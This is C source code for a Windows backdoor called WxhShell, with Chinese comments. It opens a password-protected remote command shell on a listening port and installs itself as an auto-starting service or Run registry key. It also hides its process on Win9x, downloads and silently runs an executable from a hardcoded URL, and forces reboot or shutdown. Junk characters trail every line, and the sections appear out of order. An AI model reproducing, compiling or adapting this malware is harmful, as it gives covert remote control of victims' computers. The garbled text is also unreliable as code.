    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y]<#%Fh  
    if(Boot(SHUTDOWN)) Wge ho  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hRRkFz/0&  
    else { O%prD}x  
    closesocket(wsh); W?=$V>)  
    ExitThread(0); 7Zo&+  
    } PE|PwqX  
    break; =g >.X9lr  
    } Pu-p7:99;'  
  // 获取shell RP(a,D|  
  case 's': { Hw y5G ;  
    CmdShell(wsh); JxnuGkE0[#  
    closesocket(wsh); l:q8Pg)  
    ExitThread(0); T G_bje  
    break; "* +\KPCU  
  } 8,_ -0_^$  
  // 退出 y&y/cML?  
  case 'x': { =MCNCV/<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T!1SMo^  
    CloseIt(wsh); UKOFT6|  
    break; qP&byEs"  
    } ](_{,P  
  // 离开 {:,_A  
  case 'q': { _Q)d+Fl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |.Em_*VG  
    closesocket(wsh); Z@}sCZ=#A  
    WSACleanup(); abL/Y23 "  
    exit(1); FOc|*>aKP  
    break; G *ds4R?!  
        } TN J<!6  
  } uC- A43utv  
  } wLY#dm  
% Oz$_Xe  
  // 提示信息 ^Wif!u/HM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VccM=w% *  
} 6g}^Q?cpV#  
  } & { DR 6  
1;aF5~&  
  return; ;i.I&*t  
} l<W*/}3  
.\Ul!&y  
// shell模块句柄 ^p$1D  
int CmdShell(SOCKET sock) >6OCKl  
{ sTt9'P`  
STARTUPINFO si; Ir!2^:]!  
ZeroMemory(&si,sizeof(si)); ud yAP>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]{(l;k9=e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m dC`W&r  
PROCESS_INFORMATION ProcessInfo; 09G9nu;&{  
char cmdline[]="cmd"; XO0>t{G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z<n"{%  
  return 0; CdDH1[J  
} ^eT@!N  
o>0O@NE  
// 自身启动模式 1$);V,DK!  
int StartFromService(void) c/b%T  
{ r|l53I 5  
typedef struct u/_Gq[Q,u  
{ 2dXU0095  
  DWORD ExitStatus; XIqv {w  
  DWORD PebBaseAddress; MJ1W*'9</W  
  DWORD AffinityMask; ==nYe { 2  
  DWORD BasePriority; ZEL/Ndk  
  ULONG UniqueProcessId; SrdE>fNbs  
  ULONG InheritedFromUniqueProcessId; qo6 1O\qm  
}   PROCESS_BASIC_INFORMATION; m~##q}LZ  
I0I_vu  
PROCNTQSIP NtQueryInformationProcess; ^OsA+Ea\  
sP9^ IP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;&K3 [;a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #D= tX  
NR ;q`Xe-  
  HANDLE             hProcess; y=-{Q  
  PROCESS_BASIC_INFORMATION pbi; A(q~{  
|VTWw<{LX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BHF{-z  
  if(NULL == hInst ) return 0; 2^cAK t6bC  
W8Ke1( ws&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^?E^']H)5u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '&RZ3@}+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B1x'5S;Bq  
d|>9rX+f  
  if (!NtQueryInformationProcess) return 0; nsZDZ/jx  
:|?~B%-p[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5OPS&:  
  if(!hProcess) return 0; ?+bTPl;%'  
Tf9&,!>V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JCM)N8~i  
UN,<6D3\b  
  CloseHandle(hProcess); -;sJ25(  
aw %>YrJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "CIpo/ebL  
if(hProcess==NULL) return 0; `DI{wqV9  
<FXQxM5"  
HMODULE hMod; HT{F$27W  
char procName[255]; 6>@(/mh*  
unsigned long cbNeeded; J%:WLQo  
bk/.<Rt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t9-_a5>E\}  
w~bG<kxP  
  CloseHandle(hProcess); zd?bHcW/h  
$~ pr+Ei  
if(strstr(procName,"services")) return 1; // 以服务启动 `Mo~EHso.  
r0~7v1rG  
  return 0; // 注册表启动 2Som0T<2  
} B=Xnv*e  
mJwv&E  
// 主模块 Q.j-C}a  
int StartWxhshell(LPSTR lpCmdLine) vN{vJlpY  
{ 1h#w"4  
  SOCKET wsl; I'KR'1z 9  
BOOL val=TRUE; R=2 gtW"r  
  int port=0; #]?,gwvTf  
  struct sockaddr_in door; o%kSR ]V|  
gg lNpzj  
  if(wscfg.ws_autoins) Install(); &>d:ewM\  
$=\oJ-(!@S  
port=atoi(lpCmdLine); @qg0u#k5  
~0VwF  
if(port<=0) port=wscfg.ws_port; ,\|n=T,  
]3gYuz|  
  WSADATA data; ~@b9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ==jkp U*=  
e1f^:C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uKLOh<oio  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OhA^UP01-  
  door.sin_family = AF_INET; /ChJ~g"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jD&}}:Dj  
  door.sin_port = htons(port); k#l'ko/X  
{q5hF5!`)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o`<h=+a\  
closesocket(wsl); NTpz)R  
return 1; EGQ1l i'B  
} v :'P"uU;4  
X}65\6  
  if(listen(wsl,2) == INVALID_SOCKET) { #Z2>TN  
closesocket(wsl); i~v@  
return 1; "Qiq/"h  
} #Pe\Z/  
  Wxhshell(wsl); kphy7> Km  
  WSACleanup(); Z'*G'/*  
t[H_6)  
return 0; |Fh`.iT%c  
(P]^8qc  
} -9tXv+v?  
1CF7  
// 以NT服务方式启动 44/ 0}v]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @&am!+z  
{ aT`02X   
DWORD   status = 0;  6Dr$*9  
  DWORD   specificError = 0xfffffff; U 8qKD  
&?`d8\z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ; @[.$Q@I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l(0&6ENyj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,b2O^tJF#  
  serviceStatus.dwWin32ExitCode     = 0; P:zEx]Y%  
  serviceStatus.dwServiceSpecificExitCode = 0; o'= [<  
  serviceStatus.dwCheckPoint       = 0; 2vW,.]95M  
  serviceStatus.dwWaitHint       = 0; e+]YCp[(  
} (GQDJp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B?/12+sR  
  if (hServiceStatusHandle==0) return; D6pEQdX`  
i?P]}JENM  
status = GetLastError(); Z3u""oM/  
  if (status!=NO_ERROR) H|(*$!~e  
{ Y/:Q|HnXQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T$>=+U  
    serviceStatus.dwCheckPoint       = 0; K|Ij71  
    serviceStatus.dwWaitHint       = 0; 6):sO/es  
    serviceStatus.dwWin32ExitCode     = status; 3'gd'`Hn/  
    serviceStatus.dwServiceSpecificExitCode = specificError; g-TX;(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ];wohW%  
    return; f|[5&,2<  
  } JydQA_   
.{Eg(1At  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }E)8soQR  
  serviceStatus.dwCheckPoint       = 0; J^<j=a|D  
  serviceStatus.dwWaitHint       = 0; |)>GeE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ><Mbea=U+  
} q4IjCu+  
`OF ;>u*:  
// 处理NT服务事件,比如:启动、停止 >Y*iy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !O%f)v?  
{ P[J qJi/H  
switch(fdwControl) +wf& L  
{ "_% 0|;  
case SERVICE_CONTROL_STOP: PauFuzPP  
  serviceStatus.dwWin32ExitCode = 0; c,u$tnE)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {F{[!.  
  serviceStatus.dwCheckPoint   = 0; @Ig,_i\UY:  
  serviceStatus.dwWaitHint     = 0; &55uT;7] a  
  { D?&w:C\&@z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ud~VQXZo  
  } YM,D`c[pX  
  return; !Z9ikn4A  
case SERVICE_CONTROL_PAUSE: 1<Ztk;$A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; []]LyWk  
  break; hzf}_1  
case SERVICE_CONTROL_CONTINUE: , K"2tb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S)AE   
  break; \)6?u_(u  
case SERVICE_CONTROL_INTERROGATE: -%QEzu&  
  break; Wf&G9Be?8  
}; fb S.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q:xI} ]FM  
} YJtOdgG|q  
jWb\"0)  
// 标准应用程序主函数 %/,Uk+3p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y^Xxa'y  
{ $K>d\{@+7  
-iZjs  
// 获取操作系统版本 J~ gkGso  
OsIsNt=GetOsVer(); |GLn 9vw7S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eB1eUK>  
HpgN$$\@  
  // 从命令行安装 a0v1LT6  
  if(strpbrk(lpCmdLine,"iI")) Install(); R/KWl^oNj  
I$P7%}  
  // 下载执行文件 t)kr/Z*p\  
if(wscfg.ws_downexe) { JeSkNs|vB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5;KT-(q~  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;lPhSkD  
} "r `6c0Z  
GmWQJYX\  
if(!OsIsNt) { 'kONb  
// 如果时win9x,隐藏进程并且设置为注册表启动 u+i/CE#w  
HideProc(); #| e5  
StartWxhshell(lpCmdLine); K|' ]Hje\  
} zw;(:fgY#  
else M`g Kt (3  
  if(StartFromService()) Ns7l-mb  
  // 以服务方式启动 Z~R/ p;@  
  StartServiceCtrlDispatcher(DispatchTable); ki/Lf4  
else fVe-esAw  
  // 普通方式启动 sC*E;7gT,  
  StartWxhshell(lpCmdLine); [}g5Z=l  
.dq.F#2B;  
return 0; 5<'Jd3N{&  
} MyR\_)P?  
7Bb@9M?i  
7}HA_@[  
,2L,>?r6  
=========================================== tYxlM!  
qb/!;U_  
Y&:\s8C  
} jy7,+  
Iw-6Z+ 94  
%4g4 C#  
" hD~/6bx  
hCx#Heh  
#include <stdio.h> ViC76aJ  
#include <string.h> vf'jz`Z  
#include <windows.h> UgBY ){<  
#include <winsock2.h> ,}xC) >  
#include <winsvc.h> 5Szo5  
#include <urlmon.h> HrcnyQ`Q0  
l~ >rpG  
#pragma comment (lib, "Ws2_32.lib") gA8 u E  
#pragma comment (lib, "urlmon.lib") SodW5v a  
ToCfLJ?{  
#define MAX_USER   100 // 最大客户端连接数 YH6 K-}  
#define BUF_SOCK   200 // sock buffer pF{Ri  
#define KEY_BUFF   255 // 输入 buffer Z|7I }i  
f#JF5>o  
#define REBOOT     0   // 重启 !{- 3:N7  
#define SHUTDOWN   1   // 关机 x-P_}}K 79  
~1z8G>R  
#define DEF_PORT   5000 // 监听端口 NxRiEe#m  
1JY90l$ME  
#define REG_LEN     16   // 注册表键长度 t5[JN:an  
#define SVC_LEN     80   // NT服务名长度 J-,X0v"  
J!qEj{  
// 从dll定义API @o.i2iG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .oOt(K +  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }LVE^6zyk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +.Ukzu~s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P>cJ~F M  
Lgw@y!Llij  
// wxhshell配置信息 kxiyF$ 9  
struct WSCFG { (W6\%H2u  
  int ws_port;         // 监听端口 m^&mCo,  
  char ws_passstr[REG_LEN]; // 口令 *^m.V=  
  int ws_autoins;       // 安装标记, 1=yes 0=no gnK!"!nL  
  char ws_regname[REG_LEN]; // 注册表键名 2QD B'xs3  
  char ws_svcname[REG_LEN]; // 服务名 T</gWW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cnO4N UDv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HCZ%DBU96  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iONql7S @  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  y3$\ m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZI*A0_;L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `9)2nkJk'z  
Rf$6}F  
}; eHZl-|-  
;( Va_   
// default Wxhshell configuration w9}IM149  
struct WSCFG wscfg={DEF_PORT, W..>Ny;'3  
    "xuhuanlingzhe", %=>xzP(z  
    1, U-:Z ^+Y  
    "Wxhshell", YS6az0ie  
    "Wxhshell", MA QY/s~F  
            "WxhShell Service", ^Rh~+  
    "Wrsky Windows CmdShell Service", {:+^[rer j  
    "Please Input Your Password: ", U/l ra&P  
  1, Y'":OW#oN  
  "http://www.wrsky.com/wxhshell.exe", DdW8~yI&  
  "Wxhshell.exe" 745PCC'FK  
    }; lY,1 w  
~DS9{Y  
// 消息定义模块 P?-44m#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  D -EM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f)fw87UPc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; alD|-{Bf  
char *msg_ws_ext="\n\rExit."; >}tG^)os  
char *msg_ws_end="\n\rQuit."; 1Vvx@1  
char *msg_ws_boot="\n\rReboot..."; M& L0n%,y5  
char *msg_ws_poff="\n\rShutdown..."; MH(g<4>*  
char *msg_ws_down="\n\rSave to "; Y& %0 eI!  
FX%E7H  
char *msg_ws_err="\n\rErr!"; :jCaDhK  
char *msg_ws_ok="\n\rOK!"; JG$J,!.\  
vIv3rN=5vB  
char ExeFile[MAX_PATH]; rI$10R$+H  
int nUser = 0; /v<8x?=  
HANDLE handles[MAX_USER]; 2,`mNjHh  
int OsIsNt; ;hp; Rd  
'KrkC A  
SERVICE_STATUS       serviceStatus; Jk{2!uP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5Uz(Bi  
Qc/J"<Lx  
// 函数声明 M#,+p8  
int Install(void); {[iQRYD0|  
int Uninstall(void); @K> Pw arl  
int DownloadFile(char *sURL, SOCKET wsh); |bUmkw  
int Boot(int flag); z<XS"4l?W  
void HideProc(void); g#NUo/  
int GetOsVer(void); *]u/,wCB  
int Wxhshell(SOCKET wsl); yQ2[[[@k@  
void TalkWithClient(void *cs); <<6#Uz.1  
int CmdShell(SOCKET sock); WJ,ON-v  
int StartFromService(void); =,9'O/br  
int StartWxhshell(LPSTR lpCmdLine); nQMN2jM  
-I<`!kH*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o?\Pw9Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l^Z~^.{y  
$RO=r90o  
// 数据结构和表定义 g DIB'Y  
SERVICE_TABLE_ENTRY DispatchTable[] = fR{7780WZ  
{ s_ $@N!  
{wscfg.ws_svcname, NTServiceMain}, VNfx>&`  
{NULL, NULL} h{9 pr  
}; JE!Xf}nEi  
~<-h# B  
// 自我安装 SJe;T  
int Install(void) Nzt1JHRS  
{ SesO$=y  
  char svExeFile[MAX_PATH]; J>&GP#7}  
  HKEY key; 4(](' [M  
  strcpy(svExeFile,ExeFile); HX^ P9jXT  
=2 5 "q Jr  
// 如果是win9x系统,修改注册表设为自启动 )Qp?LECrt  
if(!OsIsNt) { "[ ,XS`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rZ7 Ihof  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %&NK|M+n  
  RegCloseKey(key); ^hJ ,1{o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { efm<bJB2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C\K--  
  RegCloseKey(key); =$J2  
  return 0; H|?`n uiD  
    } P@ u%{  
  } ~{{:-XkVB  
} qlP=Y .H  
else { s:{%1/  
'-qc \6UY  
// 如果是NT以上系统,安装为系统服务 kdq55zTc<6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9wzYDKN}  
if (schSCManager!=0) j/\XeG>  
{ =<icHt6s  
  SC_HANDLE schService = CreateService N\$6R-L  
  ( nXjUTSGa)  
  schSCManager, `MS=/xE  
  wscfg.ws_svcname, HF:PF"|3  
  wscfg.ws_svcdisp, $fO*229As  
  SERVICE_ALL_ACCESS, YFY)Z7fK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pe-d7Ou P  
  SERVICE_AUTO_START,  -W ,b*U  
  SERVICE_ERROR_NORMAL, 1-fz564  
  svExeFile, Zx{'S3W  
  NULL, _BV:i:z  
  NULL, s.R(3}/  
  NULL, dE~ns ,+  
  NULL, wH.'EC  
  NULL 3& $E  
  ); J(]nPwm=.-  
  if (schService!=0) f]ef 1#  
  { E'}$'n?:  
  CloseServiceHandle(schService); .[! ^ L  
  CloseServiceHandle(schSCManager); =W=%!A\g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #</yX5!V  
  strcat(svExeFile,wscfg.ws_svcname); xUUp ?]9y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C}Q2UK-:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2I  
  RegCloseKey(key); 195(Kr<5$  
  return 0; $qqusa}`K  
    } jEadVM9  
  } [ 0Sd +{Q  
  CloseServiceHandle(schSCManager); eAj}/2y"  
} D3OV.G]`  
} @\a- =  
idq= US  
return 1; QK\z-'&n  
} * gnL0\*  
P'+*d#*S  
// 自我卸载 ?5D7n"jY  
int Uninstall(void) e0P1FD<@  
{ 0NGokaD)H  
  HKEY key; C/JFg-r  
ZJqmD  
if(!OsIsNt) { (~~=<0S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { //(c 1/s  
  RegDeleteValue(key,wscfg.ws_regname); .6*A~%-=[d  
  RegCloseKey(key); BeRn9[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~H.;pJ{ 8  
  RegDeleteValue(key,wscfg.ws_regname); \a#2Wm  
  RegCloseKey(key); 8I'?9rt2M  
  return 0; bYz:gbs]4|  
  } 7%tn+  
} `^/Q"zH  
} U"Y$7~  
else { QB7<$Bp  
{ !w]t?h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l6~eb=u;9g  
if (schSCManager!=0) p5*Y&aKj  
{ $FoNEr&q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9"rATgN1  
  if (schService!=0) px*MOHq K  
  { l[x wH 9'  
  if(DeleteService(schService)!=0) { -;v:. [o.  
  CloseServiceHandle(schService); Ez )Go6Q  
  CloseServiceHandle(schSCManager); vc<8ApK3V  
  return 0; t9kgACo/M  
  } L\UYt\ks  
  CloseServiceHandle(schService); $I'ES#8P6  
  } u=4Rn  
  CloseServiceHandle(schSCManager); V\_ &2',t  
} /#a$4 }2L  
} l!b#v`  
JkKI/ 5h  
return 1; nm)F tX|A  
} CAXU #  
("{'],>  
// 从指定url下载文件 *(rq AB0~  
int DownloadFile(char *sURL, SOCKET wsh) SF6n06UZu  
{ z)ydQw>  
  HRESULT hr; ms?h/*E<H  
char seps[]= "/"; J-U}iU|  
char *token; V\ |b#?KL  
char *file; 09Fr1PL  
char myURL[MAX_PATH]; 7-^d4P+|g  
char myFILE[MAX_PATH]; Ne=D $o  
w$pv  
strcpy(myURL,sURL); xN5}y3  
  token=strtok(myURL,seps); j/sZ:Q  
  while(token!=NULL) vm(% u!_P  
  { Co'dZd(  
    file=token; A9"ho}<  
  token=strtok(NULL,seps); -kJ`gdS  
  } uB%`Bx'OW  
# RtrHm  
GetCurrentDirectory(MAX_PATH,myFILE); PKP( :3|  
strcat(myFILE, "\\"); xd* kNY  
strcat(myFILE, file); ]8RcZn  
  send(wsh,myFILE,strlen(myFILE),0); {h2D}F  
send(wsh,"...",3,0); J~= =<?j:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TY? Fs-  
  if(hr==S_OK) +=||c \'  
return 0; g;-CAd5  
else H]SnM'Y  
return 1; Agl[Z>Q  
zEu*q7  
} 4FYws5]$  
NEX\+dtE~0  
// 系统电源模块 ]1klfp,`  
int Boot(int flag) Ij" `pdp  
{ ~($h9* \  
  HANDLE hToken; 6`4=!ZfI  
  TOKEN_PRIVILEGES tkp; j}y"  
smSUo /  
  if(OsIsNt) { )#1@@\< ^T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }%%| '8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pBHr{/\5  
    tkp.PrivilegeCount = 1; u|+O%s TQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z yIn>]{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .uhP (  
if(flag==REBOOT) { /Qbt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A;h~Fx6s  
  return 0; :}Z+K*%o-  
} ,9=a(j"  
else { !fZxK CsQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8NpQ"0X  
  return 0; ^)X^Pcx  
} *C$ W^u5h  
  } 5)0R:  
  else { 9'}m797I'  
if(flag==REBOOT) { q$K^E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PQ1\b-I  
  return 0; .Zo8KwkFY  
} D{ c`H}/`  
else { ibEQ52  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q")}vN  
  return 0; ^"l4   
}  I"r*p?  
} H Jwj,SL  
|ONkRxr@!  
return 1; &ceZu=*  
} OD{Rh(Id  
A07FjT5w8  
// win9x进程隐藏模块 E: #VS~  
void HideProc(void) 7,Nd[ oL*7  
{ wF}/7b54  
V0"UFy?i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JWC{"6  
  if ( hKernel != NULL ) !YCYmxw#  
  { +[:}<^p?cG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZVViu4]?y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ *RmT  
    FreeLibrary(hKernel); q_JES4ofx  
  } Y8(g8RN  
j`(o\Fd )  
return; N n+leM  
} >!?u8^C  
+tl&Jjdm  
// 获取操作系统版本 }]kzj0m  
int GetOsVer(void) VDBP]LRF  
{ cSQvP.  
  OSVERSIONINFO winfo; ji:JLvf]%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >{V]q*[/;Q  
  GetVersionEx(&winfo); m;k' j@:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UfXqcyY(  
  return 1; [/6IEt3}B  
  else nx8 4l7<  
  return 0; [26"?};"%  
} LC2t,!RRl&  
YEQ}<\B\&  
// 客户端句柄模块 [ q22?kT  
int Wxhshell(SOCKET wsl) y1B3F5  
{ J1hc :I<;  
  SOCKET wsh; *o`bBdZ  
  struct sockaddr_in client; Jk 0 ;<2j  
  DWORD myID; nTyK Z(#u  
u+kXJ  
  while(nUser<MAX_USER) v~9PS2  
{ >}Za)  
  int nSize=sizeof(client); y.HE3tH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZF>zzi+@  
  if(wsh==INVALID_SOCKET) return 1; R=xT\i{4h  
S!0<aFh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ==~X8k|{E  
if(handles[nUser]==0) hVd% jU:  
  closesocket(wsh); {b}Ri&oEOH  
else ^F/N-!}q  
  nUser++; +<(N]w*  
  } D`V03}\-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zvL;.U  
]`b/_LJN$F  
  return 0; M1-n  
} Y7{IF X  
K]1A,Q  
// 关闭 socket mY+J ju1  
void CloseIt(SOCKET wsh)  km|;T!  
{ ] K3^0S/  
closesocket(wsh); TW" TgOfd  
nUser--; M|w;7P}  
ExitThread(0); (3C::B=  
} |L 11?{ K  
7LbBS:@3z_  
// 客户端请求句柄 hQv~C4Wfrf  
void TalkWithClient(void *cs) OTY9Q  
{ Usx8  U  
N`h,2!(j  
  SOCKET wsh=(SOCKET)cs; :<r.n "  
  char pwd[SVC_LEN]; IQAV`~_G  
  char cmd[KEY_BUFF]; ;`p+Vs8C  
char chr[1]; 5B< em  
int i,j; 4"nb>tA  
p Wa'Fd  
  while (nUser < MAX_USER) { Z%E;*R2+:>  
kI<;rP1S|  
if(wscfg.ws_passstr) { n6Je5fE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i 3?=up!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N =FX3Z  
  //ZeroMemory(pwd,KEY_BUFF); dDK4I3a  
      i=0; #N.W8mq  
  while(i<SVC_LEN) { |4^us|XY  
US[{ Q  
  // 设置超时 2~h! ouleY  
  fd_set FdRead; fkbHfBp[(A  
  struct timeval TimeOut; M_lQ^7/  
  FD_ZERO(&FdRead); roSdcQTeT  
  FD_SET(wsh,&FdRead); 3#<b!Yz  
  TimeOut.tv_sec=8; A)/8j2  
  TimeOut.tv_usec=0; b{%p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S:aAR*<6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w\ 4;5.$  
NCR 4n_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Ko<,Kp2b  
  pwd=chr[0]; gG*]|>M JI  
  if(chr[0]==0xd || chr[0]==0xa) { f3El9[  
  pwd=0; VbyGr~t  
  break; 4 ;ybQ  
  } AqnDsr!  
  i++; b&BkT%aA(G  
    } 6Lj=%&  
\]uD"Jqv#  
  // 如果是非法用户,关闭 socket #}Y$+FtO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &\),V1"  
} BPs|qb-  
jGy%O3/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R-QSv$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ldk (zAB.  
<cS"oBh&u0  
while(1) { cetHpU ,  
UVa:~c$U4  
  ZeroMemory(cmd,KEY_BUFF); v8 rK\  
14>WpNN  
      // 自动支持客户端 telnet标准   J< Ljg<t+  
  j=0; *9T a0e*  
  while(j<KEY_BUFF) { w{TZN{Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @pq2Z^SQH  
  cmd[j]=chr[0]; $ 1lI6 = ,  
  if(chr[0]==0xa || chr[0]==0xd) { mW EaUi)Zz  
  cmd[j]=0; l ld,&N8  
  break; +5~5BZP  
  } J,q6  
  j++; Uao8#<CkvJ  
    } K ?uH Am  
T1$=0VSEa+  
  // 下载文件 >2v UFq`H  
  if(strstr(cmd,"http://")) { 9|BH/&$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]rC2jB\,M  
  if(DownloadFile(cmd,wsh)) <KY \sb9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @2(7 ZxI  
  else [l# 8}dy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J)o.@+Q}  
  } Lsu_ f'p0  
  else { >%6a$r~@  
